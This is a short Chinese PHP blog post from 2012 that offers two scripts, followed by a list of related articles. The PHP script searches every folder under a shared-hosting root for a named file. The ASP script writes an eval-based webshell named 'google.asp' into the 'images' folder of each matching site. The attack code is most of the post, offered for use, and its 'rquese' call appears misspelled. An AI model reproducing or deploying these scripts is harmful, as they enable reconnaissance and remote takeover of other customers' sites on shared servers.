php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
PHP学习资料汇总与网址
Mar 16 PHP
php 图像函数大举例(非原创)
Jun 20 PHP
深入理解PHP之require/include顺序 推荐
Jan 02 PHP
PHP Warning: PHP Startup: Unable to load dynamic library \ D:/php5/ext/php_mysqli.dll\
Jun 17 PHP
ThinkPHP CURD方法之order方法详解
Jun 18 PHP
php curl登陆qq后获取用户信息时证书错误
Feb 03 PHP
php用ini_get获取php.ini里变量值的方法
Mar 04 PHP
php简单socket服务器客户端代码实例
May 18 PHP
Yii2 GridView实现列表页直接修改数据的方法
May 16 PHP
PHP中Array相关函数简介
Jul 03 PHP
Yii模型操作之criteria查找数据库的方法
Jul 15 PHP
Laravel框架处理用户的请求操作详解
Dec 20 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
利用php递归实现无限分类 格式化数组的详解
2013/06/08 PHP
php用户注册页面利用js进行表单验证具体实例
2013/10/17 PHP
php实现斐波那契数列的简单写法
2014/07/19 PHP
PHP连接SQLServer2005的方法
2015/01/27 PHP
PHP日期函数date格式化UNIX时间的方法
2015/03/19 PHP
PHP获取数组的键与值方法小结
2015/06/13 PHP
Zend Framework教程之MVC框架的Controller用法分析
2016/03/07 PHP
php禁用函数设置及查看方法详解
2016/07/25 PHP
手机平板等移动端适配跳转URL的js代码
2014/01/25 Javascript
加载列表时jquery获取ul中第一个li的属性
2014/11/02 Javascript
删除Javascript Object中间的key
2014/11/18 Javascript
javascript制作网页图片上实现下雨效果
2015/02/26 Javascript
js仿3366小游戏选字游戏
2016/04/14 Javascript
浅谈JS中的反柯里化( uncurrying)
2017/08/17 Javascript
jquery动态赋值id与动态取id方法示例
2017/08/21 jQuery
对VUE中的对象添加属性
2018/09/18 Javascript
VUE安装使用教程详解
2019/06/03 Javascript
微信小程序入门之绘制时钟
2020/10/22 Javascript
vue组件添加事件@click.native操作
2020/10/30 Javascript
python中将字典转换成其json字符串
2014/07/16 Python
Python中数组,列表:冒号的灵活用法介绍(np数组,列表倒序)
2018/04/18 Python
python3 写一个WAV音频文件播放器的代码
2019/09/27 Python
tensorflow之tf.record实现存浮点数数组
2020/02/17 Python
python实现从ftp服务器下载文件
2020/03/03 Python
python全栈开发语法总结
2020/11/22 Python
python爬虫beautifulsoup解析html方法
2020/12/07 Python
印尼最大的婴儿用品购物网站:Orami
2017/09/28 全球购物
马来西亚综合购物网站:Lazada马来西亚
2018/06/05 全球购物
英国乐购杂货:Tesco Groceries
2018/11/29 全球购物
酒店led欢迎词
2014/01/09 职场文书
应聘编辑自荐信范文
2014/03/12 职场文书
党员反对四风问题思想汇报
2014/09/12 职场文书
简易离婚协议书范本2014
2014/10/15 职场文书
2015年乡镇卫生院工作总结
2015/04/22 职场文书
安全知识竞赛主持词
2015/06/30 职场文书
nginx网站服务如何配置防盗链(推荐)
2021/03/31 Servers